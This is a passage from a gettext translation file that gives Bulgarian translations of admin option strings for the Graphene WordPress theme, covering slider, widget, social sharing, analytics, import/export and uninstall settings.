"Текст на съдържанието" #: admin/options-display.php:544 msgid "Text font" msgstr "Шрифт на текста" #: admin/options-display.php:550 msgid "Text size" msgstr "Размер на текста" #: admin/options-display.php:556 msgid "Text line height" msgstr "Височина на реда в текста" #: admin/options-display.php:562 msgid "Text colour" msgstr "Цвят на текста" #: admin/options-display.php:572 msgid "Link Text" msgstr "Текст на връзка" #: admin/options-display.php:576 msgid "Link colour (normal state )" msgstr "Цвят на текста на връзката (нормално състояние)" #: admin/options-display.php:577 msgid "Link colour (visited state )" msgstr "Цвят на текста на връзката (посетена връзка)" #: admin/options-display.php:578 msgid "Link colour (hover state )" msgstr "Цвят на текста на връзката (при преминаване на мишката)" #: admin/options-display.php:595 msgid "Text decoration (normal state )" msgstr "Украса на текста (нормално състояние)" #: admin/options-display.php:601 msgid "Text decoration (hover state )" msgstr "Цвят на текста на връзката (при преминаване на мишката)" #: admin/options-display.php:614 msgid "Footer Widget Display Options" msgstr "Визуални настройки на Footer Widget" #: admin/options-display.php:620 msgid "Number of columns to display" msgstr "Брой колони, които да се покажат" #: admin/options-display.php:627 msgid "Number of columns to display for front page footer widget" msgstr "Брой колони, които да се показажат за footer widget на началната страница" #: admin/options-display.php:641 msgid "Navigation Menu Display Options" msgstr "Визуални настройки на лентата за навигация" #: admin/options-display.php:647 msgid "Dropdown menu item width" msgstr "Широчина на елемент от падащото меню" #: admin/options-display.php:653 msgid "Disable description in Header Menu" msgstr "Забранете описанието в заглавното меню" #: admin/options-display.php:661 msgid "Description for default menu \"Home\" item" msgstr "Описание на менюто по подразбиране \"Начало\"" #: admin/options-display.php:677 msgid "Miscellaneous Display Options" msgstr "Разни визуални настройки" #: admin/options-display.php:680 msgid "Site title options" msgstr "Найстройки на заглавието на сайта" #: admin/options-display.php:681 msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" msgstr "Използвайте тези тагове, за да настроите своя собствена структура на заглавиета на сайта Ви: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" #: admin/options-display.php:685 msgid "Custom front page site title" msgstr "Настройте заглавите на сайта на началната страница" #: admin/options-display.php:689 msgid "Defaults to <code>#site-name » #site-desc</code>. The <code>#post-title</code> tag cannot be used here." msgstr "По подразбиране е <code>#site-name » #site-desc</code>. Тагът <code>#post-title</code> не може да бъде използван тук." #: admin/options-display.php:694 msgid "Custom content pages site title" msgstr "Собствено заглавие на сайт за страниците със съдържание" #: admin/options-display.php:698 msgid "Defaults to <code>#post-title » #site-name</code>." msgstr "По подразбиране е <code>#post-title » #site-name</code>." #: admin/options-display.php:703 msgid "Favicon options" msgstr "Настройки на favicon" #: admin/options-display.php:707 msgid "Favicon URL" msgstr "Адрес на favicon" #: admin/options-display.php:711 #: admin/options-general.php:98 msgid "Upload or select image from gallery" msgstr "Качете картинка или изберете от галерията" #: admin/options-display.php:711 msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library." msgstr "Просто въведете пълния адрес (URL) на вашата favicon за да разрешите favicon. Уверете се, че използвате тага <code>http://</code> преди адреса. Или използвайте ъплоудъра на медиа на Wordpress за да къчите картинка, или изберете от медиа библиотеката." #: admin/options-display.php:723 msgid "Custom CSS" msgstr "Собствен CSS" #: admin/options-display.php:728 msgid "Custom CSS styles" msgstr "Стилове в собствения CSS" #: admin/options-display.php:730 msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options." msgstr "Може да въведете ваш собствен CSS код долу, за да промените всеки друг аспект на външния вид на темата, който не е включен в тези настройки" #: admin/options-general.php:12 msgid "Slider Options" msgstr "Настройки на slider-а" #: admin/options-general.php:18 msgid "Disable slider" msgstr "Забранете slider-а" #: admin/options-general.php:26 msgid "What do you want to show in the slider" msgstr "Какво искате да се показва в slider-а" #: admin/options-general.php:30 msgid "Show latest posts" msgstr "Покажи последните публикации" #: admin/options-general.php:33 msgid "Show random posts" msgstr "Покажи произволни публикации" #: admin/options-general.php:36 msgid "Show specific posts/pages" msgstr "Покажи определени публикации/страници" #: admin/options-general.php:39 msgid "Show posts from categories" msgstr "Покажи публикации от категории" #: admin/options-general.php:44 #: admin/options-general.php:258 msgid "Posts and/or pages to display" msgstr "Публикации и/или страници, които да се показват" #: admin/options-general.php:49 #: admin/options-general.php:263 msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>" msgstr "Въведете ID на публикацията и/или страницата, която да се покаже, разделени със запетая. Например: <code>1,13,45,33</code>" #: admin/options-general.php:50 msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above." msgstr "Валидно само ако горе е избрано <strong>Покажи определени публикации/страници</strong>." #: admin/options-general.php:56 msgid "Categories to display" msgstr "Категории, които да се показват" #: admin/options-general.php:57 msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here." msgstr "Всички публикации от избраните категории ще бъдат показвани в slider-а. Пример за ползване: направете нова категория \"Featured\" и включете всички публикации, които искате да бъдат показване в slider-а към тази категория, и след това изберете категорията тук." #: admin/options-general.php:73 msgid "Number of posts to display" msgstr "Брой публикации, които да се показват" #: admin/options-general.php:104 msgid "Slider display style" msgstr "Визуален стил на slider-а" #: admin/options-general.php:108 msgid "Thumbnail and excerpt" msgstr "Thumbnail картинка и извадка" #: admin/options-general.php:109 msgid "Background image and excerpt" msgstr "Фонова картинка и извадка" #: admin/options-general.php:110 msgid "Full post content" msgstr "Пълното съдържание на публикацията" #: admin/options-general.php:116 msgid "Slider animation" msgstr "Анимация на slider-а" #: admin/options-general.php:121 msgid "Horizontal slide" msgstr "Хоризонтално превъртане" #: admin/options-general.php:122 msgid "Vertical slide" msgstr "Вертикално превъртане" #: admin/options-general.php:123 msgid "Fade" msgstr "Избледняване" #: admin/options-general.php:124 msgid "No effect" msgstr "Без ефект" #: admin/options-general.php:130 msgid "Slider height" msgstr "Височина на slider-а" #: admin/options-general.php:138 msgid "Slider speed" msgstr "Скорост на slider-а" #: admin/options-general.php:141 #: admin/options-general.php:150 msgid "milliseconds" msgstr "милисекунди" #: admin/options-general.php:142 msgid "This is the duration that each slider item will be shown" msgstr "Това е продължителноста, за която всеки елемент от slider-а ще се показва" #: admin/options-general.php:147 msgid "Slider transition speed" msgstr "Скорост на преход на slider-а" #: admin/options-general.php:151 msgid "This is the speed of the slider transition. Lower values = higher speed." msgstr "Това е скоростта на преход на slider-а. По-ниска стойност = по-висока скорост." #: admin/options-general.php:156 msgid "Move slider to bottom of page" msgstr "Премести slider-а в долния край на страницата" #: admin/options-general.php:169 msgid "Front Page Options" msgstr "Настройки на началната страница" #: admin/options-general.php:175 msgid "Front page posts categories" msgstr "Категории на публикациите за началната страница" #: admin/options-general.php:177 msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page." msgstr "Само публикации, които принадлежат на избраните категории ще се показват на началната страница. Не повлиява Статична Начална Страница." #: admin/options-general.php:182 msgid "--Disabled--" msgstr "--Забранено--" #: admin/options-general.php:190 msgid "You may select multiple categories by holding down the CTRL key." msgstr "Може да изберете няколко категории като задържите бутона CTRL." #: admin/options-general.php:202 msgid "Homepage Panes" msgstr "Зони на началната страница" #: admin/options-general.php:209 msgid "Disable homepage panes" msgstr "Забрани заните на началната страница" #: admin/options-general.php:219 msgid "Type of content to show" msgstr "Вид на съдържанието, което да се показва" #: admin/options-general.php:226 msgid "Latest posts by category" msgstr "Последни публикации по категория" #: admin/options-general.php:229 msgid "Posts and/or pages" msgstr "Публикации и/или страници" #: admin/options-general.php:234 msgid "Number of latest posts to display" msgstr "Брой на последните публикации, които да се показват" #: admin/options-general.php:238 msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above." msgstr "Приложимо само ако горе е избрано <strong>Последни публикации</strong> или <strong>Последни публикации по категория</strong>." #: admin/options-general.php:243 msgid "Category to show latest posts from" msgstr "Категория, от която да се показват последните публикации" #: admin/options-general.php:253 msgid "Applicable only if <strong>Latest posts by category</strong> is selected above." msgstr "Приложимо само ако горе е избрано <strong>Последни публикации по категория</strong>." #: admin/options-general.php:264 msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above." msgstr "Приложимо само ако горе е избрано <strong>Публикации и/или страници</strong>." #: admin/options-general.php:270 msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>." msgstr "<strong>Забележка:</strong> зоните на началната страница се визуализират само ако се използва <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">статична начална страница</a>." #: admin/options-general.php:280 msgid "Comments Options" msgstr "Настройки на коментарите" #: admin/options-general.php:286 msgid "Commenting" msgstr "Коментиране" #: admin/options-general.php:290 msgid "Use WordPress settings" msgstr "Използвай настройките на WordPress" #: admin/options-general.php:291 msgid "Disabled for pages" msgstr "Забранени за страници" #: admin/options-general.php:292 msgid "Disabled completely" msgstr "Изцяло забранени" #: admin/options-general.php:294 msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages." msgstr "Забележка: тази настройка припокрива глобалната настройка на WordPress за дискусии наречена \"Позволяване на хората за публикуват коментари към нови статии\" и също \"Позволяване на коментарите\" за индивидуални публикации/страници." #: admin/options-general.php:306 msgid "Child Page Options" msgstr "Настройки на дъщерна страница" #: admin/options-general.php:312 msgid "Hide parent box if content is empty" msgstr "Скрий менюто за родител ако съдържанието е празно" #: admin/options-general.php:318 msgid "Child page listings" msgstr "Списък на дъщерната страница" #: admin/options-general.php:322 msgid "Show listing" msgstr "Покажи списъка" #: admin/options-general.php:323 msgid "Hide listing" msgstr "Скрий списъка" #: admin/options-general.php:324 msgid "Only show listing if parent content is empty" msgstr "Покажете списъка само ако съдържанието за родител е празно" #: admin/options-general.php:337 msgid "Widget Area Options" msgstr "Настройки на областта за widget-и" #: admin/options-general.php:340 msgid "Header widget area" msgstr "Заглавна област за widget-и" #: admin/options-general.php:341 msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option." msgstr "<strong>Важно:</strong> Тази widget област е нестилизирана, тъй като често се случва да бъде използвана за рекламни банери, и т.н. Ако я разрешите се уверете, че ще я стилизирате спрямо вашите нужди използвайки собствени CSS стилове." #: admin/options-general.php:345 msgid "Enable header widget area" msgstr "Разрешете заглавната widget област" #: admin/options-general.php:354 msgid "Alternate Widgets" msgstr "Редуване на widget-и" #: admin/options-general.php:355 msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page." msgstr "Може да разрешите показването на различни widget области на началната страница в сравнение с останалия уеб сайт. Ако разрешите тази възможност, допълнителни widget области, които ще бъдат показвани само на началната страница ще бъдат добавени към страницата за настройки на widget-и." #: admin/options-general.php:358 msgid "Enable alternate front page sidebar widget area" msgstr "Разрешете алтернативна област за widget-и на slider-а началната страница" #: admin/options-general.php:362 msgid "Enable alternate front page footer widget area" msgstr "Разрешете алтернативна област за widget-и във footer-а началната страница" #: admin/options-general.php:363 msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option." msgstr "Можете също да зададете различен брой на колони за widget-и за footer-а на началната страница спрямо останалата част на сайта." #: admin/options-general.php:376 msgid "Top Bar Options" msgstr "Настройки на горната лента" #: admin/options-general.php:382 msgid "Hide the top bar" msgstr "Скрий горната лента" #: admin/options-general.php:390 msgid "Hide feed icon" msgstr "Скрий иконата за RSS абонамент" #: admin/options-general.php:394 msgid "Use custom feed URL" msgstr "Използвай собствен RSS feed URL адрес" #: admin/options-general.php:397 msgid "This custom feed URL will replace the default WordPress RSS feed URL." msgstr "Този собствен RSS feed URL адрес ще замени настройката по подразбиране на WordPress" #: admin/options-general.php:401 msgid "Open social media links in new window" msgstr "Отваряйте връзките към социални медии в нов прозорец" #: admin/options-general.php:405 msgid "Twitter URL" msgstr "Twitter URL адрес" #: admin/options-general.php:408 msgid "Enter the URL to your Twitter page." msgstr "Въведете адреса (URL) на вашата Twitter страница" #: admin/options-general.php:412 msgid "Facebook URL" msgstr "Facebook URL адрес" #: admin/options-general.php:415 msgid "Enter the URL to your Facebook profile page." msgstr "Въведете URL адреса на вашата Facebook страница" #. translators: %s will be replaced by the social media service name. Example: LinkedIn Title #: admin/options-general.php:426 #, php-format msgid "%s Title" msgstr "%s Заглавие" #: admin/options-general.php:431 #, php-format msgid "The title is empty and the following title will be shown: <strong>%s</strong>" msgstr "Заглавието не е попълнено и ще бъде използвано следното заглавие: <strong>%s</strong>" #. translators: %s will be replaced by the social media service name. Example: LinkedIn URL #: admin/options-general.php:437 #, php-format msgid "%s URL" msgstr "%s URL адрес" #. translators: %s will be replaced by the social media service name. Example: LinkedIn icon URL #: admin/options-general.php:442 #, php-format msgid "%s icon URL" msgstr "%s URL адрес на иконата" #: admin/options-general.php:445 msgid "Delete" msgstr "Изтрий" #: admin/options-general.php:453 msgid "Add new social media icon" msgstr "Добави нова икона за социална медиа" #: admin/options-general.php:465 msgid "Social Sharing Buttons" msgstr "Бутони за споделяне в социалните мрежи" #: admin/options-general.php:470 msgid "Show social sharing button" msgstr "Покажи бутоните са споделяне в социалните мрежи" #: admin/options-general.php:476 msgid "Show in Pages as well?" msgstr "Показване и в страниците?" #: admin/options-general.php:480 msgid "Social sharing buttons location" msgstr "Място на бутоните за споделяне в социалните мрежи" #: admin/options-general.php:483 msgid "Bottom of posts" msgstr "След публикацията" #: admin/options-general.php:484 msgid "Top of posts" msgstr "Преди публиказцията" #: admin/options-general.php:485 msgid "Both top and bottom" msgstr "Преди и след публикацията" #: admin/options-general.php:491 msgid "Your social sharing button code" msgstr "Код към вашите бутони за споделяне в социалните мрежи" #: admin/options-general.php:492 msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc." msgstr "Може да използвате код от всички известни социални мрежи, като Facebook, Digg, AddThis, и т.н." #: admin/options-general.php:495 msgid "You may use these tags to get the post's URL and title:" msgstr "Може да използвате тези тагове за да вземете заглавието и адреса на публикациите:" #: admin/options-general.php:507 msgid "Adsense Options" msgstr "Adsense възможности" #: admin/options-general.php:513 msgid "Show Adsense advertising" msgstr "Показване на Adsense реклами" #: admin/options-general.php:519 msgid "Show ads on front page as well" msgstr "Показване на реклами и на началната страница" #: admin/options-general.php:525 msgid "Your Adsense code" msgstr "Вашият Adsense код" #: admin/options-general.php:538 msgid "Google Analytics Options" msgstr "Възможности на Google Analytics" #: admin/options-general.php:543 msgid "Enable Google Analytics tracking" msgstr "Разрешаване на статистиките с Google Analytics " #: admin/options-general.php:550 msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code><head></code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics." msgstr "<strong>Забележка:</strong> темата разполага скриптът на Google Analytics в <code><head></code> елементът за по-добра поддръжка на асинхронния скрипт на Google Analytics. Уверете се, че сте обновили скрипта си, така че да ползвате новия асинхронен скрипт на Google Analytics." #: admin/options-general.php:554 msgid "Google Analytics tracking code" msgstr "Проследяващия код на Google Analytics" #: admin/options-general.php:555 msgid "Make sure you include the full tracking code (including the <code><script></code> and <code></script></code> tags) and not just the <code>UA-#######-#</code> code." msgstr "Уверете се, че включвате пълния проследяващ код (включително таговете <code><script></code> и <code></script></code>) и не само кодът <code>UA-#######-#</code>." #: admin/options-general.php:568 msgid "Footer Options" msgstr "Настройки на долната част (footer)" #: admin/options-general.php:573 msgid "Use Creative Commons licence for content" msgstr "Използвайте Creative Commons licence за съдържанието" #: admin/options-general.php:578 msgid "Copyright text (html allowed)" msgstr "Текст на авторските права (html е позволен)" #: admin/options-general.php:579 msgid "If this field is empty, the following default copyright text will be displayed:" msgstr "Ако това поле е празно ще бъде визуализиран следния текст за авторски права:" #: admin/options-general.php:585 msgid "Do not show copyright info" msgstr "Не показвай информация за авторски права" #: admin/options-general.php:589 msgid "Do not show the \"Return to top\" link" msgstr "Не показвай линка \"Връщане към началото\"" #: admin/options-general.php:601 msgid "Print Options" msgstr "Настройки за разпечатване" #: admin/options-general.php:606 msgid "Enable print CSS for single posts and pages?" msgstr "Разрешаване на CSS за разпечатване за единични публикации и страници?" #: admin/options-general.php:610 msgid "Show print button" msgstr "Показване на бутона за разпечатване" #: admin/options-import.php:38 #: admin/options-import.php:169 #: admin/options-presets.php:48 #: admin/uninstall.php:32 msgid "ERROR: You are not authorised to perform that operation" msgstr "ГРЕШКА: Не сте оторизиран, за да извършите тази операция" #: admin/options-import.php:59 msgid "Before you can upload your import file, you will need to fix the following error:" msgstr "Преди да може да качите вашия входящ файл, ще трябва да отстраните следната грешка:" #: admin/options-import.php:65 #: admin/options-import.php:98 msgid "Import Graphene Theme Options" msgstr "Вмъкнете настройките на темата Graphene" #: admin/options-import.php:67 msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>." msgstr "<strong>Забележка:</strong> Това е експериментална възможност. Моля докладвайте всеки проблем във <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Форума за поддръжка</a>." #: admin/options-import.php:69 msgid "Choose a file from your computer:" msgstr "Изберете файл от вашия компютър:" #: admin/options-import.php:69 #, php-format msgid "Maximum size: %s" msgstr "Максимален размер: %s" #: admin/options-import.php:76 msgid "Upload file and import" msgstr "Качете файла и вмъкнете" #: admin/options-import.php:141 msgid "Options import completed" msgstr "Настройките са вмъкнати напълно" #: admin/options-import.php:142 msgid "Go to the Graphene options page" msgstr "Към страницата с настройки на Graphene" #: admin/options-import.php:145 #: admin/options-import.php:150 #: admin/options-import.php:155 msgid "Sorry, there has been an error." msgstr "Съжелявам, възникна грешка" #: admin/options-import.php:146 msgid "The uploaded file does not contain valid Graphene options." msgstr "Качения файл не съдържа валидни настройки за Graphene" #: admin/options-import.php:151 msgid "The uploaded file could not be read." msgstr "Качения файл не може да бъде прочетен." #: admin/options-import.php:156 msgid "The uploaded file is not supported." msgstr "Качения файл не се поддържа." #: admin/options-import.php:164 msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini." msgstr "Файлът е празен. Моля качете нещо по-значимо. Тази грешка може да е причинена от забрана на качване на файлове във въшия php.ini или от това, че настрорйката post_max_size е дефинирана е дефинирана толкова малка колкото upload_max_filesize в php.ini" #: admin/options-init.php:30 msgid "Graphene Options" msgstr "Настройки на Graphene" #: admin/options-init.php:31 msgid "Graphene FAQs" msgstr "Най-често задаваните въпроси на Graphene" #: admin/options-init.php:81 msgid "Toggle all tabs" msgstr "Разтваряне на всички табове" #: admin/options-init.php:117 msgid "Template preview not found." msgstr "Не е намерен преглед на шаблона." #: admin/options-init.php:120 msgid "default" msgstr "по подразбиране" #: admin/options-init.php:176 #: admin/options-init.php:180 msgid "Theme default" msgstr "По подразбиране на темата" #: admin/options-presets.php:36 msgid "The \"Normal website\" settings preset has been applied." msgstr "Зададени са настройки като \"Нормален уеб сайт\"." #: admin/options-presets.php:41 msgid "Settings have been reset." msgstr "Настройките бяха нулирани." #: admin/options-validator.php:24 msgid "ERROR: Invalid category to show in slider." msgstr "ГРЕШКА: Невалидна категория за показване в slider-а" #: admin/options-validator.php:27 msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider." msgstr "ГРЕШКА: Трябва да изберете публикациите/страниците, които трябва да бъдат визуализирани, когато сте избрали \"Показване на определени публикации/страници\" за slider-а." #: admin/options-validator.php:30 msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider." msgstr "ГРЕШКА: Трябва да сте избрали поне една категория когато сте избрали \"Показване на публикации от категории\" за slider-а." #: admin/options-validator.php:40 msgid "ERROR: Invalid category selected for the slider categories." msgstr "ГРЕШКА: Избрана е невалидна категория за категории на slider-а." #: admin/options-validator.php:46 msgid "ERROR: The number of posts to displayed in the slider must be a an integer value." msgstr "ГРЕШКА: Броя на публикации, които да се покажат в slider-а трябва да е цело-числена стойност (integer)" #: admin/options-validator.php:49 msgid "ERROR: Invalid option for the slider image is specified." msgstr "ГРЕШКА: Избрана е невалидна настройка за картинката на slider-а." #: admin/options-validator.php:51 msgid "ERROR: Bad URL entered for the custom slider image URL." msgstr "ГРЕШКА: Въведен е некоректен URL адрес за собствената картинка на slider-а." #: admin/options-validator.php:53 msgid "ERROR: Invalid option for the slider display style is specified." msgstr "ГРЕШКА: Избрана е невалидна настройка за визуални стилове на slider-а" #: admin/options-validator.php:55 msgid "ERROR: The value for slider height must be an integer." msgstr "ГРЕШКА: Стойността за височина на slider-а трябва да е цяло число (integer)." #: admin/options-validator.php:57 msgid "ERROR: The value for slider speed must be an integer." msgstr "ГРЕШКА: Стойността за скорост на slider-а трябва да е цяло число (integer)." #: admin/options-validator.php:59 msgid "ERROR: The value for slider transition speed must be an integer." msgstr "ГРЕШКА: Стойността за скорост на прехвърляне на slider-а трябва да е цяло число (integer)." #: admin/options-validator.php:61 msgid "ERROR: Invalid slider animation." msgstr "ГРЕШКА: Невалидна анимация на slider-а." #: admin/options-validator.php:75 msgid "ERROR: Invalid category selected for the front page posts categories." msgstr "ГРЕШКА: Избрана е невалидна категория за публикациите на началната страница." #: admin/options-validator.php:86 msgid "ERROR: Invalid option for the type of content to show in homepage panes." msgstr "ГРЕШКА: Избрана е невалидна настройка за тип на съдържанието, което да се показва в зоните на началната страница" #: admin/options-validator.php:88 msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer." msgstr "ГРЕШКА: Стойността за брой на последните публикации, които да се показват в зоните на началната страница трябва да е цяло число (integer)." #: admin/options-validator.php:93 msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes." msgstr "ГРЕШКА: Избрана е невалидна категория за последните публикации, които да се показват в зоните на началната страница." #: admin/options-validator.php:107 msgid "ERROR: Invalid option for the comments option." msgstr "ГРЕШКА: Невалидна настройка в настройките за коментари." #: admin/options-validator.php:116 msgid "ERROR: Invalid option for the child page listings." msgstr "ГРЕШКА: Невалидна настройка за списък на дъщерни страници." #: admin/options-validator.php:134 msgid "ERROR: Bad URL entered for the custom feed URL." msgstr "ГРЕШКА: Въведен е грешен адрес за собствен RSS feed." #: admin/options-validator.php:138 msgid "ERROR: Bad URL entered for the Twitter URL." msgstr "ГРЕШКА: Въведен е грешен адрес за Twitter." #: admin/options-validator.php:140 msgid "ERROR: Bad URL entered for the Facebook URL." msgstr "ГРЕШКА: Въведен е грешен адрес за Facebook." #: admin/options-validator.php:152 msgid "ERROR: Bad URL entered for the social media icon URL." msgstr "ГРЕШКА: Въведен е грешен адрес за икона за социална медиа." #: admin/options-validator.php:153 msgid "ERROR: Bad URL entered for the social media URL." msgstr "ГРЕШКА: Въведен е грешен адрес за адрес на социална медиа" #: admin/options-validator.php:169 msgid "ERROR: Invalid option for the social sharing buttons location." msgstr "ГРЕШКА: Невалидна настройка за място на бутоните за споделяне в социалинте мрежи." #: admin/options-validator.php:229 msgid "ERROR: Invalid option for the Search box location." msgstr "ГРЕШКА: Невалидна настройка ма местоположението на полето да търсене." #: admin/options-validator.php:234 msgid "ERROR: Invalid option for the column mode." msgstr "ГРЕШКА: Невалидна настройка за режима на колоните" #: admin/options-validator.php:235 msgid "ERROR: Invalid option for the bbPress column mode." msgstr "ГРЕШКА: Невалидна настройка за режима на колоните на bbPress." #: admin/options-validator.php:241 msgid "ERROR: Invalid option for the post date display." msgstr "ГРЕШКА: Невалидна настройка за визуализация на дата на публикацията" #: admin/options-validator.php:307 msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value." msgstr "ГРЕШКА: Броя на колоните, които да се показват в долната wdiget област трябва да е цяло число." #: admin/options-validator.php:312 msgid "ERROR: The width of the submenu must be a an integer value." msgstr "ГРЕШКА: Широчината на подменюто трябва да е целочислена стойност." #: admin/options-validator.php:320 msgid "ERROR: Bad URL entered for the favicon URL." msgstr "ГРЕШКА: Въведен е грешен адрес за URL адрес на favicon." #: admin/options-validator.php:334 msgid "ERROR: Invalid action hook selected widget action hooks." msgstr "ГРЕШКА: Избран е невалиден action hook." #: admin/options.php:77 #: admin/uninstall.php:23 msgid "Uninstall Graphene" msgstr "Премахване на Graphene" #: admin/options.php:78 msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted." msgstr "Моля потвърдете, че искате да премахнете темата Graphene. Всички настройко на темата в базата данни ще бъдат изтрити." #: admin/options.php:79 msgid "This action is not reversible." msgstr "Това действие е необратимо." #: admin/options.php:83 #: admin/options.php:298 msgid "Uninstall Theme" msgstr "Премахване на тема" #: admin/options.php:97 msgid "Graphene Theme Options" msgstr "Настройки на темата Graphene" #: admin/options.php:99 msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages." msgstr "Това са генерални настройки на темата. Може да припокриете някои от тези настройки в конкретни публикации и страници." #: admin/options.php:107 msgid "General" msgstr "Общи" #: admin/options.php:108 msgid "Display" msgstr "Визуални" #: admin/options.php:109 msgid "Advanced" msgstr "За напреднали" #: admin/options.php:148 msgid "Save Options" msgstr "Запази промените" #: admin/options.php:160 msgid "Support the developer" msgstr "Подпомогнете разработчика" #: admin/options.php:163 msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development." msgstr "Разработването на тази чудесна тема отне много усилие и време, месеци наред продължителна, доброволна, неплатена работа. Ако харесвате тази тема или ако я използвате за комерсиални сайтове, моля обмислете възможността за дарение на разработчика за да помогнете поддържането на бъдещи обновления и разработката." #: admin/options.php:178 msgid "Graphene Usage Survey" msgstr "Потребителска анкета на Graphene" #: admin/options.php:181 msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous." msgstr "Помогнете ни да Ви опознаем по-добре. Попълнете потребителската анкетата на Graphene сега! Всяко мнение е важно, за да се направи темата по-добра. Анкетата е много кратка, и е напълно анонимна." #: admin/options.php:182 msgid "Take the survey" msgstr "Попълнете анкетата" #: admin/options.php:192 msgid "Add-ons and plugins" msgstr "Допълнения (Add-ons) и надставки (plugins)" #: admin/options.php:195 msgid "Add-ons" msgstr "Допълнения (Add-ons)" #: admin/options.php:196 msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability." msgstr "С тази тема не се доставят допълнения (Add-ons), но те мога да бъдат инсталирани отделно за да разширят възможностите на темата." #: admin/options.php:200 msgid "Installed" msgstr "Инсталирани" #: admin/options.php:201 #: admin/options.php:220 msgid "Not installed" msgstr "Не инсталирани" #: admin/options.php:201 msgid "Learn more" msgstr "Научете повече" #: admin/options.php:202 msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices." msgstr "Мобилни разширения (extensions) разработени специално за подобряване на визуализацията на вашия сайт на мобилни устройства, като iPhone и Android устройства." #: admin/options.php:205 msgid "Plugins" msgstr "Надставки (plugins)" #: admin/options.php:206 msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them." msgstr "Надстройките (plugins) изброени тук се поддържат вградено от темата. Единственото, което трябва да направите е да ги инсталирате и активирате." #: admin/options.php:219 msgid "Activated" msgstr "Активирани" #: admin/options.php:232 msgid "Options Presets" msgstr "Предварителни настройки" #: admin/options.php:235 msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below." msgstr "Настройките по подразбиране на темата са конфигурирани за работа като блог. Ако използвате тази тема основно за нормален сайт, или ако искате да нулирате настройките към техните стойности по подразбиране, може да изберете една от наличните предварително настройки долу." #: admin/options.php:236 msgid "Note that you can still configure the individual settings after you apply any preset." msgstr "Отбележете, че ще можете да конфигурирате индивидуални настройки след като приложите някоя от предварителните настройки (preset)." #: admin/options.php:241 msgid "Select Options Preset" msgstr "Изберете предварителни настройки (preset)." #: admin/options.php:244 msgid "Normal website" msgstr "Нормален уеб сайт" #: admin/options.php:247 msgid "Reset to default settings" msgstr "Нулирайте настройките" #: admin/options.php:252 msgid "Apply Options Preset" msgstr "Приложете набора от настройки" #: admin/options.php:262 msgid "Import/export theme options" msgstr "Импортирай/Експортирай настройките на темата" #: admin/options.php:266 msgid "Import" msgstr "Импортирай" #: admin/options.php:269 msgid "Import Theme options" msgstr "Импортирай настройките на темата" #: admin/options.php:271 msgid "Export" msgstr "Експортирай" #: admin/options.php:275 msgid "Export Theme options" msgstr "Експортирай настройките на темата" #: admin/options.php:278 #, php-format msgid "Import and export is only available for to users with PHP version 5.2.1 and higher. You are using PHP version %s." msgstr "Импортиране и експортиране е достъпно само за потребители с версия на PHP 5.2.1 или по-голяма. Вие използвате версия PHP %s." #: admin/options.php:288 msgid "Uninstall theme" msgstr "Премахнете темата" #: admin/options.php:291 msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore." msgstr "<strong>Внимавайте!</strong> Премахването на темата ще премахне вкички настройки на темата от базата данни. Напревете това само ако сте решили повече да не използвате темата." #: admin/options.php:292 msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance > Themes admin page." msgstr "Ако просто искате да опитате друга тема, няма нужда да премахвате настоящата тема. Просто активирайте другата тема от страницата Външен вид > Теми." #: admin/options.php:293 msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances > Themes and delete the theme from there." msgstr "Отбележете че премахването на тази тема <strong>не 